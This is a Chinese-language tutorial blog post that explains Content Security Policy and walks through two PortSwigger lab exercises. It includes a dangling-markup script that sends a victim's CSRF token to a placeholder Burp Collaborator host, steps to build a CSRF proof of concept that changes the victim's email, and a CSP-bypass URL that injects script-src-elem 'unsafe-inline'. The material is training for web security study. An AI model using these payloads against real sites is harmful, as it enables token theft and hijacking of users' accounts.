跨站脚本攻击XSS-内容安全策略(CSP)

admin 2022年9月27日08:59:20评论28 views字数 4200阅读14分0秒阅读模式

在本节中,将解释什么是内容安全策略,并描述如何使用CSP来环节一些常见的攻击。



什么是内容安全策略(CSP)?

CSP是一种浏览器的安全机制,旨在缓解XSS和其他一些攻击。

它通过限制页面可以加载的资源(例如脚本和图像)以及限制页面是否可以被其他页面框住来工作进行安全防范。

要启用CSP,响应需要包含一个名为Content-Security-PolicyHTTP响应标头,其值包含该策略,策略本身由一个或多个指令组成,用分号分隔。



使用CSP缓解XSS攻击

以下指令仅允许从页面本身相同的来源加载脚本:

跨站脚本攻击XSS-内容安全策略(CSP)

以下指令仅允许从特定域加载脚本:

跨站脚本攻击XSS-内容安全策略(CSP)

允许来自外部域的脚本应非常小心,如果攻击者有任何方法可以控制从外部域提供的内容,那么就可能会发起攻击。

例如,不应该信任不使用客户URLCDN,比如ajax.googleapis.com,因为第三方可以将内容获取到他们的域中。

除了将特定域列入白名单之外,内容安全策略还提供了另外两种指定可信资源的方式:随机数和hash

CSP指令可以指定一个随机数(随机值),并且在加载脚本的标签中必须使用相同的值。如果值不匹配,那么脚本将不会执行。为了有效地控制,随机数必须在每次页面加载时安全地生成,使得攻击者无法进行猜测。

CSP指令可以指定受信任脚本内容的hash值,如果实际脚本的hash值与指令中指定的值不匹配,那么脚本将不会执行。如果脚本的内容发生变化,那么就需要更新指令中指定的hash值。

CSP阻止脚本等资源是很常见的,但是,许多CSP允许图像请求。这意味着通常可以使用img元素向外部服务器发出请求,以公开CSRF令牌。

某些浏览器(例如Chrome)具有内置的悬空标记,可以阻止包含某些字符的请求,比如原始的、未编码的新行或尖括号。

一些策略更具有限制性,可以防止所有形式的外部请求。但是,仍然可以通过引发一些用户交互来绕过这些限制。要绕过这种形式的策略,通常需要注入一个HTML元素,单击该元素时,将存储注入元素所包含的所有内容,并将其发送到外部服务器。



什么是悬空标记注入?

前面有提到Chrome内置悬空标记,悬空标记注入是这一种在不可能进行完整的跨站脚本攻击情况下跨站捕获数据的技术。

假设一个应用程序以一种不安全的方式将攻击者可控的数据嵌入到它的响应中:

跨站脚本攻击XSS-内容安全策略(CSP)

同时应用程序没有过滤或转义>"字符,攻击者可以使用以下语法打破带引号的属性值和封闭标记,并返回HTML环境中:

跨站脚本攻击XSS-内容安全策略(CSP)

在这种情况下,攻击者自然会尝试执行XSS,但假设由于输入过滤器、内容安全策略或其他障碍,不可能进行常规XSS攻击,在这里,仍然可以使用如下所示的Payload进行悬空标记注入攻击:

跨站脚本攻击XSS-内容安全策略(CSP)

这个Payload创建一个img标记并定义包含攻击者服务器上URLsrc属性的开头。注意,攻击者的Payload不会关闭src属性,该属性会“悬空”。当浏览器解析响应时,它会向前看,直到遇到单引号来终止属性。该字符之前的所有内容都将被视为URL的一部分,并将在URL查询字符串中发送到攻击者的服务器。任何非字母数字字符(包括换行符)都将进行URL编码。

攻击的后果是攻击者可以在注入点之后捕获应用程序的部分响应,其中可能包含敏感数据。根据应用程序的功能,这可能包括CSRF令牌、电子邮件消息或财务数据。

任何发出外部请求的属性都可用于悬挂标记。


场景试验-使用悬空标记,在受到非常严格的CSP保护下进行反射型XSS攻击:

https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack

场景说明:

这个试验场景使用严格的CSP来阻止对外部网站的传出请求。

试验目的:

要完成这个试验,需要执行跨站脚本攻击,绕过CSP防护并使用Burp Collaborator泄露受害者用户的CSRF令牌,然后需要将受害用户的电子邮件地址更改为[email protected]。必须使用"Click"这个词来标记向量,以诱导受害者点击它,场景提供了一个可供使用的账号wiener:peter

攻击过程:

进入"exploit server"用如下语句构造一个JS攻击脚本,用来盗取受害者的CSRF令牌,注意有三个地方要进行替换:

BURP-COLLABORATOR-SUBDOMAINBurp Collaborator打开后复制的地址

YOUR-LAB-ID替换成试验的地址

YOUR-EXPLOIT-SERVER-ID替换成"exploit server"的地址

<script>if(window.name) {new Image().src='//BURP-COLLABORATOR-SUBDOMAIN?'+encodeURIComponent(window.name);} else {location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';}</script>

跨站脚本攻击XSS-内容安全策略(CSP)


用试验场景提供的账号登录后,然后在保持登录状态时访问"expolit server"提供的对外URL

跨站脚本攻击XSS-内容安全策略(CSP)


可以看到页面已经经过篡改了,出现了一个"Click me"按钮,取代了"Update email"按钮,点击后会把当前页面的所有信息包括CSRF发送给"exploit server",这一步只是用来在受害者视角看下现象,我们自己不用点击

跨站脚本攻击XSS-内容安全策略(CSP)


还是在"exploit server"中,点击发送给受害者,随后可以在Burp Collaborator中可以获取到受害者访问的信息,因为被URL编码了,CSRF不一定好找,需要解码一下

跨站脚本攻击XSS-内容安全策略(CSP)


接下来将Burp设置为阻断模式,在改密页面随便提交给改密(不要用"Click me"这个页面,用正常的),在Burp中将密码后的参数改成[email protected]

跨站脚本攻击XSS-内容安全策略(CSP)

Burp改包页面中,右键点击后选择生成CSRF PoC

跨站脚本攻击XSS-内容安全策略(CSP)


弹出敞口显示了请求和它生成的CSRF HTML,在请求中将CSRF令牌替换成之前通过Collaborator盗取的令牌,同时在"Options"选项中勾选"Include auto-submit-script",更新HTML后再进行复制

跨站脚本攻击XSS-内容安全策略(CSP)

丢弃阻拦的这个包,关闭阻断模式,返回"exploit server"把前面复制的CSRF HTML替换到Body里面,保存后发送给受害者即可完成试验

跨站脚本攻击XSS-内容安全策略(CSP)

试验小结:

整个试验中有两步涉及到发送给受害者,这其实就是通过钓鱼的方式诱导受害者对恶意链接进行点击,在日常工作中若要避免此类攻击发生就应对日常办公人员进行安全培训,告知钓鱼邮件或链接的危害。



使用CSP缓解悬空标记攻击

以下指令仅允许从页面本身相同的来源加载图像:

跨站脚本攻击XSS-内容安全策略(CSP)

以下指令仅允许从特定域加载图像:

跨站脚本攻击XSS-内容安全策略(CSP)

要注意的是,这些策略将防止一些悬空标记攻击,因为在没有用户交互情况下捕获数据的一种简单方法是使用img标签。但是,它不会阻止其他漏洞的利用,例如注入带有悬空href属性的锚标记漏洞。



通过策略注入绕过CSP

有时可能会遇到一个网站会对实际输入策略做出反映,比如用了report-uri指令。

如果站点反映了可以控制的参数,那么可以通过注入分号来添加我们自己的CSP指令。

通常,这个report-uri指令是列表中的最后一个,这意味需要覆盖现有指令才能利用此漏洞并绕过策略。

通常来说,不可能覆盖现有script-src指令。然后,Chrome最近引入了script-src-elem指令,它允许控制脚本元素,但不能控制事件。重要的是,这个新指令允许覆盖现有的script-src指令。


场景试验-CSP保护的反射型XSS攻击:

https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass

场景说明:

这个试验场景使用CSP保护但包含反射型XSS漏洞。

试验目的:

要完成这个试验,需要绕过CSP并调用alert()功能执行跨站脚本攻击。

攻击过程:

打开页面后在搜索栏中输入下面注入语句,可以看到Payload虽然被反射了,但因为CSP的关系脚本并没有被执行

<img src=1 onerror=alert(1)>

跨站脚本攻击XSS-内容安全策略(CSP)


观察响应包,可以看到在包头的Content-Security-Policy中包含report-uri指令调用token参数

跨站脚本攻击XSS-内容安全策略(CSP)


利用这个可以将我们自己的CSP指令注入到策略中,在浏览器中输入下面的URL,注意替换下试验地址,即可完成试验

https://your-lab-id.web-security-academy.net/?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

跨站脚本攻击XSS-内容安全策略(CSP)


试验小结:

这个试验中,注入使用CSPscript-src-elem指令,这个指令允许仅针对脚本元素覆盖现有的script-src规则,使得我们能够注入unsafe-inline,从而允许使用内联脚本。



使用CSP防止点击劫持

以下指令将只允许页面被来自同一来源的其他页面框住:

跨站脚本攻击XSS-内容安全策略(CSP)

以下指令将完全阻止框架:

跨站脚本攻击XSS-内容安全策略(CSP)

使用CSP来防止点击劫持比使用X-Frame-Options标头更灵活,因为可以指定多个域并使用通配符,例如:

跨站脚本攻击XSS-内容安全策略(CSP)

CSP还可以验证父框架层次结构中的每个框架,而X-Frame-Options仅验证顶级框架。


跨站脚本攻击XSS-内容安全策略(CSP)


服务器端请求伪造(SSRF)-概念梳理

文件上传漏洞-概念梳理

访问控制和权限提升漏洞-概念梳理

信息泄露漏洞-概念梳理

业务逻辑漏洞-概念梳理

命令注入攻击(上)
目录遍历攻击(上)

身份验证漏洞-概念梳理

SQL注入攻击-检索隐藏的数据
HTTP Host头漏洞攻击-概念梳理


原文始发于微信公众号(H君网安白话):跨站脚本攻击XSS-内容安全策略(CSP)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月27日08:59:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   跨站脚本攻击XSS-内容安全策略(CSP)https://cn-sec.com/archives/1317905.html

发表评论

匿名网友 填写信息